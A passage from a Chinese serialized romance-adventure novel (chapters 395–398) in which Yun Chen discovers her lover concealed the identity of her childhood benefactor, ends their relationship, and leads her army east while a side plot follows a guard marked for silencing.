他手边放着一盏牛乳甜羹,严密地盖着盖子,温在热乎乎的汤盆里。
即使这样,他还是伸出那修长白皙、格外好看的手,一直捂在盖子上,生怕甜羹会凉。
这是他做惯了的细心之举,全透露着他温暖的爱意,可与之形成鲜明对比的,是他脸上分外阴冷的神情。
叶峮表情沉重地站在霍乾念身旁,不停地点头称是,回应着什么“您说得对,他知道的实在太多了”“是,心慈手软只怕他日要酿成大祸”。
看到云琛走进院子,霍乾念立即微微动了下手指,示意叶峮不要再说。
二人同时看向云琛。霍乾念率先露出个如常温柔的笑容:
“饿了没有?晚饭你没吃好,我给你留了牛乳羹,还热呢。”
云琛没有回答。
她如今耳朵不好,其实并没有听见霍乾念与叶峮在说些什么,甚至不想关心,为什么一见到她,立马又不说了。
她只是清晰地看见,从面含杀意到温柔似水,霍乾念的神情变化不过眨眼一瞬间。
她控制不住地又想起方才不言的话来:
少主将白色给你,将黑色藏起来,不代表黑色不存在。
少主也是会骗人的。
忍着心头慌乱,云琛站定厅中。
她那仿佛带着利剑、却锋刃摇摆不定的目光,令霍乾念预感到了什么,慢慢收敛起所有笑容。
她直直望进他漂亮的眼睛,一字一句地问:
“梅花破月的主人,你一直都知道,是吗?”
霍乾念愣了一下,立马想到是不言透露,眼神中闪过一丝阴沉,接着没有任何遮掩和迟疑地回答:
“是”。
云琛彻底呆住了。
不言说的竟然是真的??
竟然是真的!!
叶峮见这场面不适合他再待下去,便开始向外走,经过云琛的时候,他轻声道:
“阿琛,别怪少主,他是为了你好……”
云琛僵硬地转头看向叶峮:
“你也知道?你们都知道,都瞒着我,是吗?”
不敢与云琛质问的眼神对视,叶峮匆匆低头离开。大厅里只剩她与霍乾念。
云琛缓缓佝偻下身子,两手撑着膝盖才能保持站立。
她一遍遍深呼吸,胸口就像被一大团湿嗒嗒的棉花堵住了似的,噎得她喉咙发疼。
“琛儿……”
见她如此,霍乾念立刻起身要来搀扶,走到她面前,却与她猛然抬起的面容对上,令他所有动作顿住。
云琛满眼失望至极,眼神是他这辈子从未见过的戒备和疏离。
看着她渐渐泛红的眼眶,霍乾念的心一下子慌乱起来。他知道那眼神意味着什么。
“琛儿,别怪我……”他的声音有点颤抖,姿态和语气都卑微下来,单膝跪在她身前,仰起头去看她:
“我只是不想你为了报恩而舍去自己,我太了解你……”
她打断他的话,语气悲凉而自嘲:
“太了解我,所以瞒着我?为我好,所以骗我?”
顿了顿,她继续问:
“你原本打算瞒我多久?”
在她近乎拷问的眼神中,他无法说谎,喉结轻微滚动着,回答她:
“一生。”
听到这两个字,她愕然怔住,不可思议地看着他。
“当初,明明你也帮我寻过恩主的……”
“对,那时我是真心的,琛
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儿。”
“你应该知道,我虽决心留在霍帮,留在你身边,可我一辈子都不会忘记我的恩主,到死我都会念着他,把这遗憾带进坟墓里,对吗?”
“对。”
“那你为什么还要……”
“我既然瞒你,就打算瞒一生。”
“演一生的戏?”
“是。”
听完这些,云琛慢慢呼出一口气,整个肩膀都垂了下来,像是失望到了极点,心寒到了极点。
阵阵酸痛袭上心头,眼泪慢慢从她的眼底涌起,一颗颗落下来,轻轻砸在他扬起的脸上。
像是突然被火刺痛灼伤,他瞬间有些崩溃,一下子起身抱住她,用最大的力气将她拥进怀里,哀求地说:
“琛儿,你别生我的气……”
她一动不动地任由他抱着,只嘶哑着嗓子,低低问出两个字:
“是谁?”
霍乾念身子一僵,更紧更用力地去抱她,更深地将头埋进她肩膀,似乎以为只要这样,就能永远逃避这个问题。
看出他这可笑又幼稚的逃避态度,她心里愈发失望,神情也越来越冷淡。
当她的眼神变得好似秋水一样又冷又寒时,她抬手抚上他的胸膛——
用力向外推开。
谁知推了两次,竟没有推动。
霍乾念死死抱住她,一遍遍贴着她的耳鬓请求她原谅,却没有一句说他错了,他不该如此欺瞒。
她索性不再去推,只语气冷冷地再次问他:“是谁?”然后又补充了一句:
“我只问这最后一遍。”
“最后一遍”四个字,听起来就像“最后一次机会”那样冰冷。
霍乾念终于慢慢松开手,望进那陌生得令他心悸的眼睛,眉头微动,低声道:
“乌梅破新月,白梅黛残晖。‘梅花破月’,两枚玉佩一黑一白,都是我娘离世前留下来的,给我……和……”
霍乾念话还未说完,云琛已震惊地踉跄后退,狠狠推开他,如离弦之箭般扭头冲出去,只留他一个人跌坐在地上。
望着空空如也的双手,他用力握紧,却怎么也留不住她逐渐消散的体温。
第395章 飞鸟
漫长的黑夜终于过去,黎明拉开蓝色的天幕,为华丽的朝阳拉开序章。
十里道观后的无名山上,金色的光线拂过霍阾玉白皙宁静的面容。
山寂从旁看着,觉得她像极了庙堂里镀金的、长生不熄的金烛神花。
阳光越来越盛,金色的云海波涛渐渐散开,可以清晰地俯瞰到整个广原城,宛如遗落在青山碧绿中的明珠,升腾着美丽的云白金烟。
霍阾玉喃喃道:“云琛就生长在这样的地方,真的好美……”
山寂从旁目不转睛地望着霍阾玉的脸,也道:
“没错,好美。”
这时,霍阾玉忽然想起山寂带她来山顶的目的:
“你说天亮会有礼物,是什么?”
山寂狡黠一笑,用下巴指向她身后:
“喏,送你的。”
霍阾玉扭头看去,顿时惊讶得合不拢嘴。
只见茂盛的紫荆树林中,一座飞檐翘角、造型精致秀丽的小道观沐浴在朝阳下。
肃青顶,绛红柱,珠白墙。
看起来崭新整洁,像是才建成的。
霍阾玉望向大门正中高悬的牌匾,紫荆木上写着飘逸的三个大字:
眺云庐。
念着这三个字,霍阾玉神情越来越柔软。
在这黑漆漆的山顶坐了半夜,因为没有光线的缘故,霍阾玉压根没发现这近在咫尺的道观。
原来这就是山寂说的礼物。
她感激又惊喜,心情复杂地看向山寂,后者呲着一口白牙,露出个与云琛像极了的傻笑:
“嘿嘿,最后还是选了紫荆树。紫色配你的。”
她心头一颤,眼中竟有薄薄水雾泛起,抿了抿嘴,却不知该说什么才足以表达感谢,张口竟是:
“你这……属于违章建筑吧?听说,幽州的地皮很难买的。”
他明显被逗笑了,故作熟稔地上前,用力揉乱她的头发:
“有霍乾念那家伙在,什么地皮买不到?他是惦记你的。”
说罢,不等霍阾玉再说话,山寂上前推开道观的大门,长身立在门边,行了个标准的迎礼,故作滑稽腔调:
“恭迎阾玉道长回庐。里面吃穿用度一应俱全,若有缺漏之处,道长请勿责怪,小的麻溜儿给您补齐。”
看着山寂那搞怪的模样,霍阾玉“噗嗤”一声笑了出来。
山寂笑道:“你若真想入道门,这里最清净合宜,既省得和山脚下那个老道同吃住,也无人来此叨扰。”
而且这里屋子多,我住着也方便。这句话山寂没有说出来。
“进去看看吧。”山寂说。
霍阾玉轻提裙摆,正要抬腿往道观大门里迈,却听一道颤抖的声音在背后喊她:
“阾玉!”
这音色哽咽含泪,令霍阾玉惊讶地回头望去,顿时脸上一喜,不敢相信自己的眼睛似的,叫了声:
“云琛?”
云琛刚刚爬上山顶,胸口还在不停起伏,正急促地喘气。
她直愣愣地看着霍阾玉,泪水渐渐溢满眼眶,然后往前两步,“扑通”一声双膝跪地,吓了霍阾玉一跳。
霍阾玉匆忙冲过去扶云琛,却在俯身的瞬间,对上一张愧悔到近乎绝望的脸。
云琛流着泪,颤声问:
“十三年前,山脚海棠花树下的坟,你可记得?”
霍阾玉诧异:“我自然记得。十三年前我与哥哥来幽州,途经这道观时大雨滂沱,遇见一个孩子独自抱着离世的母亲哭泣。见那孩子可怜,我便叫身旁人埋葬了那母亲,就埋在这海棠树下……云琛,你怎么会知道?”
终于等到这个苦苦找寻了十三年的答案,找到那看似远在天边,实则一直近在眼前的恩人,云琛闭了闭眼睛,满腔心酸懊悔,控制不住地边哭边说:
“梅花破月白玉佩……你埋葬了我母亲,给我两块银币……你说‘小可怜,去买块饼子吃吧’,我一直都记得……阾玉,我一直在找你啊……”
霍阾玉震惊地捂住嘴,下意识扭头看向山寂,似是想向旁人确定这惊人的事实,却见山寂飞快地转身轻功而去。
不知是不是她的错觉,她好像看到山寂的眼圈也是红的。
未等霍阾玉细想,云琛已哭得上气不接下气:
“阾玉……谢谢你……对不起……我竟不知道是你……你一直在我身边,我却……我却唯恐避之不及……对不起……都是我害了你……都是我……我把命偿给你……阾玉……”
这番话乱七八糟不成文,但霍阾玉全都听懂了。
云琛在恨自己的凉薄。
她恨自己对霍阾玉滚烫的真心视而不见,更恨自己眼睁睁看着霍阾玉千里迢迢地仰慕、追随,在这乱世遭受了不该的一切。
可若她过早地知道霍阾玉就是当年的恩人,此时此刻又当如何呢?
震惊之余,霍阾玉只能悲哀苦笑,叹这造化实在弄人,为何偏偏阴差阳错,要这样折磨有情人。
“云琛,我不怪你。”
要怪就怪那日的雨
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太大,叫云琛看不清恩人的模样。
要怪就怪那时为方便行路,她学着霍乾念的模样扮成公子,叫云琛做梦也想不到,施恩的竟是位姑娘。
要怪,就怪她叫马车停下来,帮云琛埋葬母亲,然而另一辆马车上的霍乾念,满心只有为母亲复仇的计划。
他只是抬头看了眼褪蓝色的海棠花海,和跪在地上抱着母亲尸首痛哭的云琛,不在意地“哦”一声之后,再也没有多问一句。
接着,霍乾念与护卫们继续向前,随即踏入铺天盖地的围杀。霍阾玉却因她的善心躲过一劫。
自那以后,有的人坠下悬崖,落得双腿残疾,一连消沉数年。
有的人跪在雨中,对着慢慢远去的马车叩头谢恩,而后踏上一条人海寻恩的艰险长路。
有那么一瞬间,霍阾玉多么希望当年停下马车、施以援手的是霍乾念呀……
她也终于明白,为什么有一天,霍乾念的贴身亲卫不言,会突然带人去她院中,借着为她院里院外翻新花草的缘由,“不小心”将她的梅花破月白玉佩,轻轻摔成了齑粉。
那梅花破月的两枚玉佩,因为是母亲杜婉意的遗物,每每看到便要勾起思念,她与霍乾念几乎都不佩戴。
殊不知这世上有个傻家伙,将图样刻在银币上日夜贴身,于人海中寻恩还情,一找就是整整十三年。
想到这里,霍阾玉像是做下某种郑重的决定。
她放开云琛的手,决绝转身,向道观大门走去。
云琛急忙爬起来去追,泪水模糊了视线,再加上跑得太急,她一下被地上的石块绊倒。
听见声音,霍阾玉明显顿了下脚步,却又更加坚定地大步朝门走去。
这时,一只飞鸟从空中掠过,它看见前面的人走得背影笔直,步子快得像要逃命似的;
后面的人儿慌忙从地上爬起来,顾不得身上的土和泥、脸上狼狈的眼泪和灰尘,继续向前追去。
飞鸟觉得很奇怪,也感到很可惜。它想,若这时,那前面的人停下来回头,是不是就可以撞进一个想要了很久的怀抱。
可惜霍阾玉只是无比坚决地跨过门槛,在云琛追过来之前,坚定地关上了门。
飞鸟好奇地停歇在围墙上,它歪头看着门内背倚墙、死死咬住手背不敢哭出声的霍阾玉,又看看门外哭着拍门、可怜得如同被抛弃孩童的云琛。
飞鸟不懂爱情,它只觉得这朝阳怎么红得像血,氤透了每个人的心。
第396章 就到这里吧
如血的朝阳下,广原城门口列满御驾回京的队伍。
广原城的大小官员们尽数列队叩拜,霍乾念等一干将领也单膝叩首,围观的百姓们在最后跪地伏首,静等御驾起程。
苏正阳和不言站在御驾马车最近的位置。
不言一身崭新笔挺的侍卫统领装备,他掀开车帘,南璃君从中微微侧身,扫视全场,问了句:
“云将军怎么不在?”
这等重大的场合,两名大将之一的云琛竟然不在。
在场众人交头接耳地低声议论起来。
有人觉得云琛是功高盖主开始托大了,更多的人熟悉云琛秉性,知道她不是那样的人,忧心忡忡地四顾张望,盼望云琛快点出现。
“等一等云将军吧。”南璃君大方地说。
车帘重新放下,所有人继续跪着。
不知过了多久,众人的腿都跪麻了,云琛还是没有出现。
四下里开始响起低声的抱怨。
霍乾念见情景不妙,清了清嗓子,用不响亮却保证所有人都能听到的声音对南璃君道:
“皇上,微臣斗胆,请问皇上之前曾金口玉言,待平定战事后,为我和云琛赐婚,您可还记得?”
这话一出,全场瞬间安静。
不管之前听没听过霍乾念与云琛这对鸳鸯悍将的情缘往事的,这会全都将耳朵高高竖起,腿也不麻了,心里也不抱怨了,好奇地偷偷看向御驾。
马车车帘未动,帘后静了片刻,南璃君轻声笑起:
“朕记得。待平定战事收复东部之后——必,为你,为云琛,赐婚。朕绝不食言。”
这断句有些奇怪,但已无人在意。
霍乾念身后,荣易和罗东东等人忍不住眉开眼笑,高兴地轻声欢呼。
只有霍乾念敏锐地从那轻笑中听出南璃君大局在握的轻蔑感,不禁冷笑一声。
离霍乾念最近的段捷和伏霖将那冷笑听在耳里,仿佛没听见似的,什么反应都没有。
“少主,阿琛来了。”叶峮小声叫道,令周围几人朝不远处看去,其他众人也纷纷同望去,顿时发出讶异的声音。
只见云琛未穿铠甲,未配刀剑,只穿着一身带着泥土污渍的常服,失魂落魄地走过来。
作为一等大将军,她本该和霍乾念并排列队,却选了离他最远的一处跪下。
所有人都身穿官衣或全副戎装,连百姓们都穿着最好的衣服出来跪送御驾,只有云琛一身常服乍眼,两个眼睛通红发肿,整个人看起来跟丢了魂似的。
霍乾念望向她,心像拧在一起发疼。
御驾队列里,苏正阳的目光在霍乾念与云琛之间来回扫视,他想说些什么,又深知自己毫无分量和立场,只能自嘲笑笑,不再看云琛。
不言则翻身上马,呼了声“起——”队伍开始向京都方向而去。
走出去很长的距离后,不言回头望去。
城门前,所有人都在陆陆续续离开,最后只剩云琛和霍乾念遥遥对站。
不言最后望了云琛一眼,心中默念:
“阿琛,照顾好自己,别信任何人,只信你自己。”
……
……
待所有人离开后,城门前重新变得空空荡荡。
晨时还朝阳明艳的天,这会莫名阴了下来,刮起冷风,像是要下雨的样子。
霍乾念定定地看着云琛,刚迈开步子靠近一步,云琛立刻后退一步,看向他的眼神无比陌生又抗拒。
霍乾念脸色一白,心口一阵刺痛,勉强露出个如常的笑容,当作什么事都没发生,温柔地问她:
“饿了没有?”
见她不回答,他从怀里摸出一个小小的油纸包,打开来,是两块黄灿灿的栗子糕。
像是怕惊着她,他不再往前一步,只是伸出胳膊,摊开手掌,将油
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纸包伸向她。
尽管他已经极力装作无事,可那修长的手指贴着油纸包微微颤抖,还是出卖了他的内心。
“出城路上买了两块,琛儿,你两顿没有好好吃饭了,尝一尝吧。”
他的眼神充满忐忑期待,笑得甚至有些讨好。
可她没有任何要接过栗子糕或是要回答的意思,只是用无比失望又清冷的目光看着他,冷冷开口:
“阿念,我们就到这里吧。”
他的脸倏然惨白,身子颤了一下,栗子糕从手中掉落。
他低头去捡,还未起身,便已听到她转身离开的声音。
他慌忙追上去,拉住她的衣角,试图挽留,却不妨她竟抽出**,回身狠狠一刀——
割断了他握着的衣角。
她的神情那样决绝又冰冷,像看着不共戴天的世仇,叫他愣在原地,忘了去追。
望着云琛头也不回的背影,他慢慢蹲下身,跪伏在地上,在草丛中摸索着那掉落的栗子糕。
早在当初决定瞒下她的那一天,他便想到这最可能的结果。
为了报恩,她离家流浪,做护卫,拼杀斗。
她十二岁之后的人生仿佛就是为了寻找恩人而活。
这份信念令她勇敢而忠诚,忠义二字刻在她的骨血里,成为“云琛”最坚固的一部分。
可造化弄人,偏偏那人是霍阾玉。
当初在听到荀戓说出“梅花破月”四个字,亲眼看着荀戓画出那玉佩图形时,霍乾念就知道,除了不计后果地瞒住,他别无选择。
一声闷雷过后,冷雨终于落下。
雨水渐渐打湿霍乾念的头发和衣裳,他怀里明明已经揣着两块残破的栗子糕,却仍伏在地上不停寻找,不知在寻些什么。
“琛儿……”
他颤抖着唤出这两个字,瞬间心如撕裂般疼痛,叫他只能蜷缩起身体,连站都站不起来。
第397章 分手
霍乾念和云琛分手的事情,很快传遍了整个广原城和狮威军、虎威军。
人们绘声绘色地描述着城门前那令人心碎的一幕。
说什么大雨滂沱之中,云琛无情而去,霍乾念跪在地上崩溃呐喊“云琛别离开我!”
这戏剧性的谣言传进段捷和伏霖的耳朵里,两人瞧了眼被雨淋得像落水狗一样、蔫蔫坐在那里宛如丢了魂的霍乾念,连连摇头,心里只有两个字:
活该。
而荣易在听闻云琛和霍乾念分手的消息之后,禁不住眼睛一亮,喜道:
“我感觉我的机会来了!”
一旁的罗东东见状,忍不住骂了声“娘”,跳起来给了荣易头上一锤,骂道:
“兔子还不吃窝边草呢!你这混球咋连自家老大都惦记??”
“那不是没尝过嘛,好奇,想试试而已!”
“‘屎’你也没尝过!要不要也试试??”
“你再说一遍?老大——罗东东说你是‘屎’!!!”
此外还有云府的上上下下,听说云琛不和霍乾念好了,白氏急得在屋里团团转,不停地给云中君的牌位上香,嘴里嘀嘀咕咕念叨不停。
云岚对此倒是看得很开,“没事,小两口吵架,床头吵架床尾和。”
云恬皱眉,小声道:“问题是他俩没洞房,一直没在一张床上过啊……”
云岚意识到问题的严重性,顿时陷入沉思,刚琢磨着攒个饭局,将霍乾念和云琛都约来,顺便下点虎狼之药什么的,就听见军队开拔的号角响起——
城门口,狮威军与虎威军各站一边。
狮威军前,醒狮大旗被雨淋得湿漉漉,霍乾念整个人也湿塌塌的,一脸伤心欲绝地望着对面的云琛,眼神可怜的像被抛弃的小狗。
另一边,虎威军前,簇新的赤目虎头大旗被雨淋湿,竟叫那赤目更加血红狰狞,再配上大旗之下全副武装神态冰冷的云琛,直叫人心里发怵。
云琛根本不看霍乾念,声音冷硬开口:
“狮威军向北战洛疆,我虎威军向东战黑鳞骑兵。既圣旨已下,我们就此别过。一干战备物资和人马平分。现在唯有几位副将的去留还不分明,东宫叫你我自行决定。”
她话音落下,对面的霍乾念仍旧眼神幽怨,痴痴地看着她的脸,明显一个字都没听进去。
段捷实在看不下去了,从身后悄悄拧了霍乾念腰上一把,后者打了个激灵才回过神,声音低哑:
“那就凭自愿,大家自己选吧……”
云琛点头同意。
剩下段捷、伏霖和荣易等人面面相觑:
几个意思?叫我们自己选择跟谁?
啥情况,爹娘和离,让娃自己选?你俩闹分手,为难我们干啥?
众人心里无语。
荣易和罗东东二话没有,率先走到云琛身后站定。
见此,段捷走去霍乾念身后。
剩下“新人”伏霖左看看右看看,愁得直挠头,而后走到了霍乾念身边。
最后只剩叶峮站在场中,他第一个看向云琛,后者没有一丝欢迎的表情,显然为欺瞒梅花破月恩主的事,云琛连带着对叶峮也伤心了。
无奈,叶峮只能走向霍乾念。
“那我还是跟着云将军吧。”伏霖笑着说,然后从霍乾念身后走出来,加入了云琛的队列。
人马和将领都已分完,云琛正了正衣冠,座下的吞云兽立刻扭动屁股,载着她转身离去,连多看霍乾念一眼都没有。
随着虎威军的队伍逐渐走远,段捷和一众狮威军们愣站在原地,觉得自己也特像被抛弃的傻狗……
……
……
同一时刻,道观后山,眺云庐前。
霍阾玉一身道袍,站在山顶边缘,凝望着虎威军逐渐远去的旗帜。
她未施粉黛,头发也是简单扎起,裹在纶巾中。整个人看起来洁净又清淡,竟隐有不悲不喜的气韵。
一旁道观大门的墙头上,山寂红衣如火,抱刀而立。
“我不懂你,为何不接受云琛?你若肯接受,以她重恩义大过泰山的秉性,人给你,甚至命也可以给你。”
“正因如此,我才绝对不能接受——她是云琛,不是恩义的奴隶。”
霍阾玉这句话,直接令山寂头皮麻了一下。
再看霍阾玉,山寂目光之中爱意不减,但更多的却是敬意。
是谁说小小女子不懂快意恩仇的?
山寂觉得,比起无义血卫里那些武力值超高,看似成天花天酒地、睡女人、**、快活的不行,实则都是一群无根浮萍般没心眼的二百五,眼前这小小女子,显然比他们更懂什么是江湖。
霍阾玉之于云琛的爱意,一点都不少于霍乾念。
“唉……”山寂装模作样地叹口气,轻盈跃下墙头。
“你既放云琛逍遥天地,那这恩情便由我来替她偿还——这恩义的奴隶,我当给你。”
几乎是一瞬间,各种细节通通涌现,在脑海中拼凑衔接成一个谜语的答案。
山寂,云琛。
同样的幽州广原城,神似的容貌,还有提起那海棠花下孤坟时一样的悲伤。
霍阾玉一下就明白,山寂那时为何红了眼眶。
“你是个好哥哥。”霍阾玉对山寂说。
山寂没有说话,只是与霍阾玉相视而笑,一同望向更加遥远的天边。
……
……
如果这时有人从天空俯瞰大地,便能看见三支队列向着不同方向而去。
御驾向西,狮威向北,虎威向东。
还有一处小小骚动藏在谁都不知道的深山密林里。
两道身影打得难解难分,双方都已挂彩带伤,谁也不肯抓住机会给对方最后一击,也不敢率先扔下兵器。
最后,还是不言先放手。
他扔下侍卫佩刀,一屁股坐在地上,两腿一抻,脖子一伸,气喘吁吁道:
“累了,不打了。叶哥,给个痛快的吧。”
叶峮也停下手,用刀撑在地上,累得满头冒汗,而后提刀走到不言身边,“咣当”把刀一扔,叹气道:
“你小子,何必到今天这一步!”
不言咧嘴笑道:“请辞那时我就知道会有今天,我知道霍帮和少主太多秘密,更知道少主如今的谋算,留下来,后患无穷。”
叶峮瞪了他一眼,“那你**还要请辞?辞就辞!第一件事就是抖出梅花破月的事!少主能放心你活着吗?”
说完,二人陷入沉默。
叶峮发愁地抱住头,不停地重重叹气。
不言知道,叶峮虽身负霍乾念的命令来杀他,却无论如何都下不了手。
某种程度上,
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叶峮和云琛一样,都把兄弟的命看得比自己的命还重要。
与云琛被霍乾念捧在手心上不同,不言也好,叶峮也好,本质上不过是霍乾念眼里的奴才。
除了云琛,有几个人拿他们这些护卫当兄弟呢?
亲卫二字说着好听,不过是可以随时**的忠犬而已。
这些不言心里明白,叶峮比他更清楚。
“不言,我们既能跟着少主卫国杀敌,就也能跟着他翻天覆地。你为什么不肯?是因为皇上?”
“那倒不是。谁做皇帝我都不关心,我只是觉得少主在翻天覆地的时候,不该有那么多无辜的人为此丢掉性命……也不该,骗了那样好的阿琛……”
叶峮听不懂,“什么意思?”
不言扯嘴笑笑,故作神秘道:“你要想跟我一样下场,那你就听,我就敢讲!”
“那算了!没杀了焦左泰给妻儿报仇,我还不想死!”叶峮连连摆手。
提到“妻儿”二字,不言瞬间沉默了,脸色比对着云琛时还要复杂难言。
可他不敢说,也真的不知该从何说起。
思考许久,他拿出从前常和叶峮侃大山的架势,开始有一搭没一搭的“闲聊”。
“叶哥,我听说,少主以前有过两个结拜兄弟,你知道这事吗?”
“听说过,好像因为什么给宫里老虎拔牙的事,被先皇赐**,少主也挨了罚。”
“哦。能和少主拜把子的人,指定不一般,要是活着,肯定改头换面,换个身份再来过,起码能做俩将军。”
“废话。但死都**,说什么也没用了。”
“哎,你记得咱以前偷天换日救**犯的事不?”
“那怎么可能忘。从天牢看守的眼皮子底下把人换出来,得亏少主一干计谋安排得当,熟练得跟以前干过似的。”
“就是。对了,咱们霍帮现在的人里,有人见过少主那俩结拜兄弟吗?我打听过,其中一个好像姓秦。”
“没有。少主两个结拜兄弟被赐死后不久,少主和二小姐在幽州遇袭,所有护卫全被无义血卫围杀而死,少主就是那个时候腿断的。我也是那之后才来霍帮,是现如今整个霍帮护卫里的第一个。
没人听过见过那两个人,只听说也是家世显赫,曾与庄国公家是世交,可惜后来没落了,自霍老太爷将霍府迁去烟城后,他们也慢慢离开京都了。”
“哎,对了,我听说段捷将军老家是宥阳的,伏霖也是。”
“好像是。宥阳多少年前在洛子水改道的时候就淹了,整个村子都没了,他俩能活下来也是不容易。”
“宥阳那地方常年灾害,人口户籍最混乱了。哎,我还听说……”
“你哪那么多听说!一天就属你话多!你但凡沉默寡言不说话!你请辞,少主就不会想着杀你灭口了!”
叶峮气得直瞪眼,舍不得把不言怎么样,只能薅地上的野草发泄。
不言望了眼御驾还在行进的方向,估摸借口撒尿、离开队伍的时间已经过去太久。
他嘿嘿一笑,最后说了两句话,接着闪电般快速出手,拽出舌头狠狠割断,鲜血喷溅了叶峮一脸。
“叶哥,你偷偷记着。神虎少了两颗獠牙、一颗臼齿。还有,你帮我问问少主,这样能不能留我一条命——”
第398章 短短一句话
拜虎威大将军这一年,云琛刚满二十五岁。
五月,虎威军从幽州广原城出发,开始向黑鳞骑兵发起迅猛进攻。
一路收复失地,一路就地征兵再战。
再加上楠国以将香消崖地界划给昭国换来的十万新军,凡赤目虎头大旗行过之处,黑甲片甲不留,百姓们重获自由与安宁的欢呼声响彻城邦。
没有了顾及霍乾念的必要,云琛就像被解开了铁索束缚的猛虎,身后还带着凶兽一般的虎威军团,杀到哪里,哪里就是一片血雨腥风。
云琛就这样带领虎威军一鼓作气,接连收复一州、九城、八郡、七十二镇、无数村落,将黑鳞骑兵打得节节败退,重创过半,惨不忍睹。
打到最后,也不知黑鳞骑兵是因为大将焦左泰迟迟伤痛未愈、没能亲自上场领军,还是真被云琛打怕了。
再开战时,光是远远看见云琛的黑马,瞧着骑兵团如洪流冲来,听那铁皮战鼓擂得如虎啸惊雷,黑鳞骑兵们便开始两股战战,打心底里发怵。
败仗吃了一场又一场,撤退得如同丧家之犬,连营地都来不及扎。
只短短三个多月的功夫,虎威军便将战线重新拉回到烟城。
烟城再次收复,黑鳞骑兵五万残兵被逼退守固英城。
三个月酣战,作为楠国开国以来最年轻的大将军,云琛不仅创立了单兵作战无败绩、全军攻伐十战十捷的神话,更创下了三国有史以来收复失地速度最快的奇迹。
人们都说,黑鳞骑兵**肉又如何?吃再多**也抵不过虎胆。
老虎天生就是来吃他们这些食尸鬼的,专来克黑鳞骑兵。
此外,除了打胜仗,虎威军还凭借军纪严明,博得了沿途老百姓们极大的好感。
云琛治军法度森严,大军凡路过城池,必在城墙处避风休憩,绝不入城扰民。
沿途不仅严禁将士向百姓讨要吃食用物,还总将随身钱财施舍给**的难民。
一路过来,每收复一城一村,都要留专门人马帮助百姓们竖壁清野、重建家园。
百姓们感动不已,想起虎威军前身正是从前被他们谩骂辜负过的狮威军,更是涕泪交加地表示忠诚归顺。
狮威军每每离去之时,百姓们都竞相送别,追着送吃食和衣物。
再观另一边的狮威军,也是和云琛这边差不多的情形。
霍乾念以攻打洛疆老巢为缺口,用楠国提供庇护、建立都护府为吸引条件,游说周边部落联合成军,于旷北荒野大展拳脚,彻底将洛疆游兵防备在白头山二百里之外,亦接连大胜。
东部战场、北部战场接连传来捷报,举国形势一片大好。
人们对于英雄胜将的崇拜敬仰,早已远远超过对皇帝。
在这一片欢欣鼓舞的气氛中,唯有一人格格不入,成天无精打采,像被抽了虾线的虾似的,那便是——
荣易。
云琛领军,那战时凶猛,战罢又纯得像快乐的小绵羊似的风格,荣易早已熟悉。
从前在狮威军时,她一直都是先锋主将,军务都由霍乾念管,她并没有亲自管过。
如今她一人领军,开始管军中事务,竟没想到管得比霍乾念还严,直接颁布了三条铁令,违者军法处置。
一令不许叨扰百姓、行军时绝不可为抄近路踏毁农田等等,已不必说;
二令,她不许军中设**营,也不许将士们途经城镇时寻欢。
但只要是人,就会有欲望。
每场战后,将士们激情退去,身体的空虚寂寞怎么排遣呢?
这点云琛有招。
也不知她是怎么想出这等灭绝人性的歪主意,为防止将士们暖饱思淫欲,她直接通令全军以快、猛为原则,一路奔袭行军,到达指定地点立即开战,战后原地驻扎绝不超过三日,就又立马奔赴下一个战点。
如此循环往复,将士们不是忙着战后疗伤就是闷头补觉,刚缓过来一点就要开战,刚打完又要火急火燎地赶路,哪还有精力琢磨那点事。
只有在女人堆里混惯了的荣易受不了。
甭管他白天打仗、练兵,多狠多累,只要天黑一躺下,眼睛一闭,满脑子都是女人。
没办法,毕竟年轻。
云琛这消磨人精力的法子,对普通将士们管用,对荣易却没什么效果。
故而,人人斗志昂扬,只等彻底收复东南那一日,只有荣易成天闷闷不乐,路过的母蚊子他都忍不住多看两眼。
万般无奈之下,他只能借酒消愁,结果你猜怎么着——
云琛那第三令就是禁酒。
这下荣易真快憋疯了,大军驻扎烟城这日,他直接一个人库库修盖了半堵城墙,才终于有点泄火的意思。
见此情景,罗东东在一旁单手磕着瓜子,点评道:
“这货一天天哪来那么大牛劲?俺真佩服。”
伏霖从罗东东手里抓过半把瓜子,啧啧感叹:
“不知荣兄弟是食补还是药补,我想取取经。”
“俺估摸他是天生的,有个词咋说的来着?那个那个……”
“天生好色?”
“不够强烈。”
“放荡狂徒?”
“不够准确。”
“狂蜂浪蝶?”
“不够贴切。”
伏霖一连押韵了好几个词,都被罗东东一一否定。
二人继续边嗑瓜子,边打量还在光着上身、露着一身饱满肌肉垒城墙的荣易。
“俺赌他还能再憋三天。”
“我赌一天。”
“老大这令的确有点非人。”
“那还不是为大家好,趁早打完,趁早回家老婆孩子热炕头啊。”
“对了,他俩和好了没?”
伴着这个问题落下,罗东东和伏霖同时回头,看了眼身后两步开外的云琛。
她正全神贯注地巡查重建烟城的情况,因为耳朵还没好的缘故,她
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完全没听见二人这番嘀咕。
罗东东一下胆子大起来,“俺听说,霍将军每日都写情书给俺们老大,快四个月了,一天没落。”
伏霖点点头,“那可不,为送情书,还专门开辟了一条快马信道。云将军到哪儿,霍将军的情书就追到哪儿。”
“啧啧……”罗东东忍不住感叹,“可俺瞧见老大一封都没回。”
“那可不止!”伏霖纠正罗东东,“估计头仨月连看都没看,直接撕了烧了,最近才开始看的,挺好,终于开始消气了。”
“这你咋知道的?”罗东东问。
伏霖努努嘴,用吐瓜子皮的动作指了下云琛:
“她心情好,心情坏,看没看信,想没想霍将军,气消没消,全都在她脸上写着呢,比白纸黑字还明白。”
罗东东佩服得连连竖大拇指,若有所思片刻后,他长舒一口气,放心道:
“看来‘爹’和‘娘’早晚能和好……这下俺放心了,不用担心会有‘后爹’哎呦——”
话没说完,云琛一马鞭敲在罗东东头上,疼得他呲牙咧嘴。
她佯怒道:“再胡说八道就去刷马!”
“一条胳膊也要刷??”罗东东哀叹,“老大!你咋别的听不见!坏话一听一个准啊!”
在伏霖的哈哈大笑中,云琛板着脸离去。
……
……
回到主帐,云琛静静地在桌前坐了很久。
桌上是今日最新送来的两封信。
第一封来自幽州广原城的十里道观“眺云庐”。
在云琛发出去十几封信,字字悲泣地忏悔了十几次,诉说愿不顾一切报答当年受恩之情后,霍阾玉终于有所回应。
信上没有太多,只有短短一句话:
若报答,请替我惜她。
寥寥八个字而已,云琛却看得浑身一麻,眼眶潮湿,万般前尘往事都在胸口激烈搅动,最终化为一股暖流,温润进她心底最深处的某个地方。
这八个字,就是霍阾玉的“我原谅你,我从不怪你”。
所谓惜“她”,没有别人,是指云琛自己:
